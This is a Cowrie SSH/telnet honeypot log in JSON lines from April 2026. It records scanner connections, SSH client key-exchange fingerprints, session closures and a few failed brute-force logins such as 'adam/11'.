{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:16.572986Z","src_ip":"159.203.92.129","session":"6ac57bbf227f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adam","password":"11","message":"login attempt [adam/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:16.600691Z","src_ip":"159.203.92.129","session":"6ac57bbf227f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":60432,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1b058e0976f","protocol":"telnet","message":"New connection: 160.250.202.248:60432 (159.203.135.109:23) [session: b1b058e0976f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:17.175924Z"}
{"eventid":"cowrie.session.closed","duration":30.948758602142334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:17.485393Z","src_ip":"160.250.202.248","session":"f71e58501408","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5185489654541,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:17.549066Z","src_ip":"160.250.202.248","session":"de4e5455a681","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:17.647474Z","src_ip":"159.203.92.129","session":"6ac57bbf227f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.504547595977783,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:18.471082Z","src_ip":"160.250.202.248","session":"583c7e8cbe12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.530733346939087,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:19.490499Z","src_ip":"160.250.202.248","session":"9555667e79c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43271517753601,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:19.496417Z","src_ip":"160.250.202.248","session":"9bfcb32fda8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":38412,"dst_ip":"159.203.135.109","dst_port":23,"session":"92b5821c1501","protocol":"telnet","message":"New connection: 160.250.202.248:38412 (159.203.135.109:23) [session: 92b5821c1501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:20.048487Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":40324,"dst_ip":"159.203.135.109","dst_port":23,"session":"735c7f5bb43f","protocol":"telnet","message":"New connection: 160.250.202.248:40324 (159.203.135.109:23) [session: 735c7f5bb43f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:20.901239Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":40622,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc075ce5fc73","protocol":"telnet","message":"New connection: 160.250.202.248:40622 (159.203.135.109:23) [session: dc075ce5fc73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:21.029583Z"}
{"eventid":"cowrie.session.closed","duration":31.20527458190918,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:21.469658Z","src_ip":"160.250.202.248","session":"1ef9c29c6978","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.356277227401733,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:21.482310Z","src_ip":"160.250.202.248","session":"99cb15a3dfc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70586395263672,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:21.555782Z","src_ip":"160.250.202.248","session":"8bcb8140e0b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63015842437744,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:21.628254Z","src_ip":"160.250.202.248","session":"5952ff75f074","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.522830724716187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:23.490197Z","src_ip":"160.250.202.248","session":"821caaff422d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54723310470581,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:23.505342Z","src_ip":"160.250.202.248","session":"fe7d3197e332","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":46560,"dst_ip":"159.203.135.109","dst_port":23,"session":"f634d6dbf966","protocol":"telnet","message":"New connection: 160.250.202.248:46560 (159.203.135.109:23) [session: f634d6dbf966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:23.576819Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":50352,"dst_ip":"159.203.135.109","dst_port":23,"session":"338f9e79f24e","protocol":"telnet","message":"New connection: 160.250.202.248:50352 (159.203.135.109:23) [session: 338f9e79f24e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:25.253589Z"}
{"eventid":"cowrie.session.closed","duration":30.47427487373352,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:25.474188Z","src_ip":"160.250.202.248","session":"436802e0c7b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.27393341064453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:25.481761Z","src_ip":"160.250.202.248","session":"6c104fd75b70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.827587842941284,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:25.512411Z","src_ip":"160.250.202.248","session":"d9c3df0510f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.744149684906006,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:26.481877Z","src_ip":"160.250.202.248","session":"daf31fb35af7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":54374,"dst_ip":"159.203.135.109","dst_port":23,"session":"acd2f351c557","protocol":"telnet","message":"New connection: 160.250.202.248:54374 (159.203.135.109:23) [session: acd2f351c557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:26.930641Z"}
{"eventid":"cowrie.session.closed","duration":31.217231035232544,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:27.504457Z","src_ip":"160.250.202.248","session":"2d630e5f9d1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.487772941589355,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:27.609272Z","src_ip":"160.250.202.248","session":"df449ba99c9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.428338050842285,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:28.477736Z","src_ip":"160.250.202.248","session":"f6228c3fbe5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.469441890716553,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:28.482389Z","src_ip":"160.250.202.248","session":"ac6d91ab1d11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.221505880355835,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:28.485481Z","src_ip":"160.250.202.248","session":"dcd0e88437ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":58104,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fc9b4ded1b8","protocol":"telnet","message":"New connection: 160.250.202.248:58104 (159.203.135.109:23) [session: 6fc9b4ded1b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:28.597262Z"}
{"eventid":"cowrie.session.closed","duration":30.882739782333374,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:29.506060Z","src_ip":"160.250.202.248","session":"a30d926fdaf3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97084069252014,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:29.521746Z","src_ip":"160.250.202.248","session":"9371b3d10deb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":60864,"dst_ip":"159.203.135.109","dst_port":23,"session":"35fa08bdef2b","protocol":"telnet","message":"New connection: 160.250.202.248:60864 (159.203.135.109:23) [session: 35fa08bdef2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:29.962165Z"}
{"eventid":"cowrie.session.closed","duration":30.4537513256073,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:30.483449Z","src_ip":"160.250.202.248","session":"b226b9eb502d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.299304723739624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:33.474018Z","src_ip":"160.250.202.248","session":"61fd3fc98bca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.753812313079834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:36.470864Z","src_ip":"160.250.202.248","session":"fc9f26f91c13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.449331760406494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:36.475888Z","src_ip":"160.250.202.248","session":"5956c7db23b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.282152891159058,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:36.483968Z","src_ip":"160.250.202.248","session":"2f9646f0b0bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":48778,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca619cc670f8","protocol":"telnet","message":"New connection: 160.250.202.248:48778 (159.203.135.109:23) [session: ca619cc670f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:37.441757Z"}
{"eventid":"cowrie.session.closed","duration":30.433876991271973,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:37.483804Z","src_ip":"160.250.202.248","session":"efd9ae36bc95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48447060585022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:39.481021Z","src_ip":"160.250.202.248","session":"62fb7751a1f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49091601371765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:40.474017Z","src_ip":"160.250.202.248","session":"fd78150836a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.722021102905273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:40.479438Z","src_ip":"160.250.202.248","session":"cc953500b061","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46877956390381,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:42.478958Z","src_ip":"160.250.202.248","session":"1b75e8cc32c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94310164451599,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:43.473676Z","src_ip":"160.250.202.248","session":"2065fa30f3cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0020215511322,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:44.019505Z","src_ip":"94.79.18.201","session":"8e299cc63293","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.79.18.201","src_port":45044,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8e2cf78ed87","protocol":"telnet","message":"New connection: 94.79.18.201:45044 (159.203.135.109:23) [session: e8e2cf78ed87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:44.490168Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":38980,"dst_ip":"159.203.135.109","dst_port":23,"session":"965e6bdda9bc","protocol":"telnet","message":"New connection: 160.250.202.248:38980 (159.203.135.109:23) [session: 965e6bdda9bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:45.035489Z"}
{"eventid":"cowrie.session.closed","duration":31.10474967956543,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:47.473521Z","src_ip":"160.250.202.248","session":"b6ae1e4b204e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.32977533340454,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:47.505596Z","src_ip":"160.250.202.248","session":"b1b058e0976f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.427015781402588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:50.475389Z","src_ip":"160.250.202.248","session":"92b5821c1501","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.475123643875122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:51.504635Z","src_ip":"160.250.202.248","session":"dc075ce5fc73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.670212507247925,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:51.571165Z","src_ip":"160.250.202.248","session":"735c7f5bb43f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89759397506714,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:54.474300Z","src_ip":"160.250.202.248","session":"f634d6dbf966","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22233748435974,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:56.475799Z","src_ip":"160.250.202.248","session":"338f9e79f24e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35084,"dst_ip":"159.203.135.109","dst_port":22,"session":"33147acd6a65","protocol":"ssh","message":"New connection: 159.203.92.129:35084 (159.203.135.109:22) [session: 33147acd6a65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:56.738479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:56.743676Z","src_ip":"159.203.92.129","session":"33147acd6a65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:56.751153Z","src_ip":"159.203.92.129","session":"33147acd6a65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adam","password":"111","message":"login attempt [adam/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:56.770039Z","src_ip":"159.203.92.129","session":"33147acd6a65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":39636,"dst_ip":"159.203.135.109","dst_port":23,"session":"33e9658be9d2","protocol":"telnet","message":"New connection: 160.250.202.248:39636 (159.203.135.109:23) [session: 33e9658be9d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:57.252226Z"}
{"eventid":"cowrie.session.closed","duration":30.67395567893982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:57.604464Z","src_ip":"160.250.202.248","session":"acd2f351c557","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:57.779343Z","src_ip":"159.203.92.129","session":"33147acd6a65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.883399724960327,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:16:59.480458Z","src_ip":"160.250.202.248","session":"6fc9b4ded1b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.523760318756104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:00.485848Z","src_ip":"160.250.202.248","session":"35fa08bdef2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":5087,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f61a291bd66","protocol":"ssh","message":"New connection: 20.193.141.133:5087 (10.17.0.5:22) [session: 6f61a291bd66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:03.724065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:03.729400Z","src_ip":"20.193.141.133","session":"6f61a291bd66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:03.917881Z","src_ip":"20.193.141.133","session":"6f61a291bd66","protocol":"ssh"}
